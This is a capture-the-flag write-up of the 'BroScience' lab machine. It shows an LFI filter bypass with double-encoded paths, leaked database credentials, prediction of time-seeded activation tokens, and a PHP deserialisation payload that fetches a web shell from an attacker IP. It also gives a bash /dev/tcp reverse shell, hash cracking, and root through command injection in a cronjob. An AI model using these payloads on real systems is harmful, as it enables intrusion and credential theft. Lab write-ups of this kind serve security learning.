BroScience is a Medium Difficulty Linux machine that features a web application vulnerable to LFI
. Through the ability to read arbitrary files on the target, the attacker gains an insight into how account activation codes are generated, and is thus able to create a set of potentially valid tokens to activate a newly created account. Once logged in, further enumeration reveals that the site’s theme-picker functionality is vulnerable to PHP deserialisation using a custom gadget chain, allowing an attacker to copy files on the target system, eventually leading to remote code execution. Once a foothold has been established, a handful of hashes are recovered from a database, which once cracked prove to contain a valid SSH
password for the machine’s main user bill
. Finally, the privilege escalation is based on a cronjob executing a Bash script that is vulnerable to command injection through a certificate generated by openssl
, forfeiting root
access to the attacker.
Enumeration
NMAP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Nmap scan report for 10.129.126.184
Host is up (0.067s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 df17c6bab18222d91db5ebff5d3d2cb7 (RSA)
|_ 256 3f8a56f8958faeafe3ae7eb880f679d2 (ECDSA)
80/tcp open http Apache httpd 2.4.54
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Did not follow redirect to https://broscience.htb/
443/tcp open ssl/http Apache httpd 2.4.54 ((Debian))
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: BroScience : Home
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT
| Not valid before: 2022-07-14T19:48:36
|_Not valid after: 2023-07-14T19:48:36
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
There are ports 22, 80 and 443 open. Let’s first check the application and mind the redirect!
Webserver
First we need to add broscience.htb
into /etc/hosts
I’ll be running all requests through Burp!
On the first site, we can notice:
- login
- usernames
This pops right away, if we click a little bit around we’d find following path in Burp’s sitemap img.php
which accepts path=
parameter.
Initial Foothold
Finding Local File Inclusion (LFI)
Now if you’re thinking LFI, you’re probably right (or not?). If we enter ../
we’d get Attack detected.
back so there is some kind of blacklist. If we encode once, we’d get blocked BUT if we encode ../
twice = %252e%252e%252f
we’d bypass the filter.
There is another filter on /etc/passwd
but we can bypass that to!
Request: /includes/img.php?path=c%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc/test/%252e%252e%252f/passwd
We can read PHP files.
If we check /var/www/html/includes/img.php
we’ll see that file will get piped into file_get_contents
(not like in exec or similar function which parses and executes the PHP)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
if (!isset($_GET['path'])) {
die('<b>Error:</b> Missing \'path\' parameter.');
}
// Check for LFI attacks
$path = $_GET['path'];
$badwords = array("../", "etc/passwd", ".ssh");
foreach ($badwords as $badword) {
if (strpos($path, $badword) !== false) {
die('<b>Error:</b> Attack detected.');
}
}
// Normalize path
$path = urldecode($path);
// Return the image
header('Content-Type: image/png');
echo file_get_contents('/var/www/html/images/' . $path);
?>
We can also find credentials for Postgre database using following request:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/includes/img.php?path=%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fvar/www/html/includes/db_connect.php
############################
<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";
$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");
if (!$db_conn) {
die("<b>Error</b>: Unable to connect to database");
}
?>
Unfortunately password does not work anywhere so we have to search further.
We can read activate.php
to see if we can somehow be able to guess/calculate activation code, which we need while signup
includes/utils.php
get’s included in register.php
.
Token is not implemented in safely manner.
1
2
3
4
5
6
7
8
9
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(time());
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
We can see that it calles seed srand(time())
and time()
is something that we can calculate, since response returns the time.
1
2
3
# This oneliner takes date from response and sends requests using system time for translated time - 10 seconds = 10 requests.
php -f activation.php `php -r "echo strtotime('11 Jan 2023 07:43:42 GMT');"` | xargs -n1 -I{} -P1 bash -c "curl --proxy http://127.0.0.1:8080 -k https://broscience.htb/activate.php?code={} --silent | grep activated"
This is the script that i’ve used. First i used strtotime
using date that was returned in response when account was created register.php
. Then i echoed time() with that value for the last 10 seconds and piped it into xargs. I could’ve used Burps intruder instead
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
function generate_activation_code($gen_time) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand($gen_time);
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
if (isset($argv[1])) {
$gen_time = $argv[1];
#echo "Using time from Arguments: ".$gen_time."\n";
}else {
$gen_time = time();
#echo "Using current time: ".$gen_time."\n";
}
for ($x = 0; $x <= 10; $x++) {
echo generate_activation_code($gen_time-$x);
echo "\n";
}
?>
Activation was succesful!
We can log in, but we only have only more option really, so let’s take a look into the code base (remember, we still use LFI to read the code!).
If we check burp, we’d see GET request to swap-theme.php
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
session_start();
// Check if user is logged in already
if (!isset($_SESSION['id'])) {
header('Location: /index.php');
}
// Swap the theme
include_once "includes/utils.php";
if (strcmp(get_theme(), "light") === 0) {
set_theme("dark");
} else {
set_theme("light");
}
// Redirect
if (!empty($_SERVER['HTTP_REFERER'])) {
header("Location: {$_SERVER['HTTP_REFERER']}");
} else {
header("Location: /index.php");
}
Code above calls includes/utils.php
and its functions get_theme()
and set_theme()
. If we follow up on those functions, we’ll notice that cookie user-prefs
is getting serialized. We could’ve noticed that if we’d check the value in the cookie user-prefs=Tzo5OiJVc2VyUHJlZnMiOjE6e3M6NToidGhlbWUiO3M6NDoiZGFyayI7fQ%3D%3D
==> user-prefs=O:9:"UserPrefs":1:{s:5:"theme";s:4:"dark";}
Below the code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
...
class UserPrefs {
public $theme;
public function __construct($theme = "light") {
$this->theme = $theme;
}
}
function get_theme() {
if (isset($_SESSION['id'])) {
if (!isset($_COOKIE['user-prefs'])) {
$up_cookie = base64_encode(serialize(new UserPrefs()));
setcookie('user-prefs', $up_cookie);
} else {
$up_cookie = $_COOKIE['user-prefs'];
}
$up = unserialize(base64_decode($up_cookie));
return $up->theme;
} else {
return "light";
}
}
function get_theme_class($theme = null) {
if (!isset($theme)) {
$theme = get_theme();
}
if (strcmp($theme, "light")) {
return "uk-light";
} else {
return "uk-dark";
}
}
function set_theme($val) {
if (isset($_SESSION['id'])) {
setcookie('user-prefs',base64_encode(serialize(new UserPrefs($val))));
}
}
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
?>
Codebase above is vulnerable to PHP deserialization / PHP Object exploitation. I suggest following article and IppSec’s video
If we reach initialize Avatar
, we can write files through file_get_contents
.
This is code that i’ve used to serialize payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
class UserPrefs {
public $theme;
public function __construct($theme = "light") {
$this->theme = new AvatarInterface();
}
}
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp = "http://10.10.16.91/cmd.php";
public $imgPath = "cmd.php";
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
$obj = new UserPrefs();
echo "Serialized payload: ".serialize($obj);
echo "\n";
echo "Serialized payload and base64 encoded: ".base64_encode(serialize($obj));
echo "\n";
?>
After being logged in we can simply change user-prefs
with payload that was generated.
If everything has been done right, our cmd.php
should have been uploaded!
Looks good:
I used following TCP reverse shell for bash, i’ve just fully URL encoded:
1
bash -c "bash -i >& /dev/tcp/10.10.16.91/4444 0>&1"
Shell should pop:
Privilege escalation to bill from www-data
1
psql -h 127.0.0.1 -U dbuser -d broscience -W -c "select * from users;"
We can decode Bill’s password, just remember to add Salt!
1
2
3
4
5
6
13edad4932da9dbb57d9cd15b66ed104:NaCl:iluvhorsesandgym
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 20 (md5($salt.$pass))
Hash.Target......: 13edad4932da9dbb57d9cd15b66ed104:NaCl
We can login via SSH as bill
.
Privilege Escalation to root
I’ve ran linpeas
as usual for quick wins and any out-of-ordinary findings and it showed:
1
2
3
4
5
╔══════════╣ Unexpected in /opt (usually empty)
total 12
drwxr-xr-x 2 root root 4096 Jul 14 16:06 .
drwxr-xr-x 19 root root 4096 Jan 2 04:50 ..
-rwxr-xr-x 1 root root 1806 Jul 14 16:05 renew_cert.sh
When running pspy64
we can see that script is being called by root
. (pspy64 -r /tmp -r /opt -r /home -pf -i 1000
)
This is /opt/renew.sh
that’s being ran.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/bin/bash
if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
echo "Usage: $0 certificate.crt";
exit 0;
fi
if [ -f $1 ]; then
openssl x509 -in $1 -noout -checkend 86400 > /dev/null
if [ $? -eq 0 ]; then
echo "No need to renew yet.";
exit 1;
fi
subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)
country=$(echo $subject | grep -Eo 'C = .{2}')
state=$(echo $subject | grep -Eo 'ST = .*,')
locality=$(echo $subject | grep -Eo 'L = .*,')
organization=$(echo $subject | grep -Eo 'O = .*,')
organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
commonName=$(echo $subject | grep -Eo 'CN = .*,?')
emailAddress=$(openssl x509 -in $1 -noout -email)
country=${country:4}
state=$(echo ${state:5} | awk -F, '{print $1}')
locality=$(echo ${locality:3} | awk -F, '{print $1}')
organization=$(echo ${organization:4} | awk -F, '{print $1}')
organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
commonName=$(echo ${commonName:5} | awk -F, '{print $1}')
echo $subject;
echo "";
echo "Country => $country";
echo "State => $state";
echo "Locality => $locality";
echo "Org Name => $organization";
echo "Org Unit => $organizationUnit";
echo "Common Name => $commonName";
echo "Email => $emailAddress";
echo -e "\nGenerating certificate...";
openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
$state
$locality
$organization
$organizationUnit
$commonName
$emailAddress
" 2>/dev/null
/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
else
echo "File doesn't exist"
exit 1;
The problem above is that we can run subcommands if we insert them into certificate subject values:
1
openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout broscience.key -out broscience.crt -days 1
We can check if our calues have been inserted into the certificate
1
openssl x509 -in broscience.crt -noout -text
Shell should pop in the next 2 minutes as root!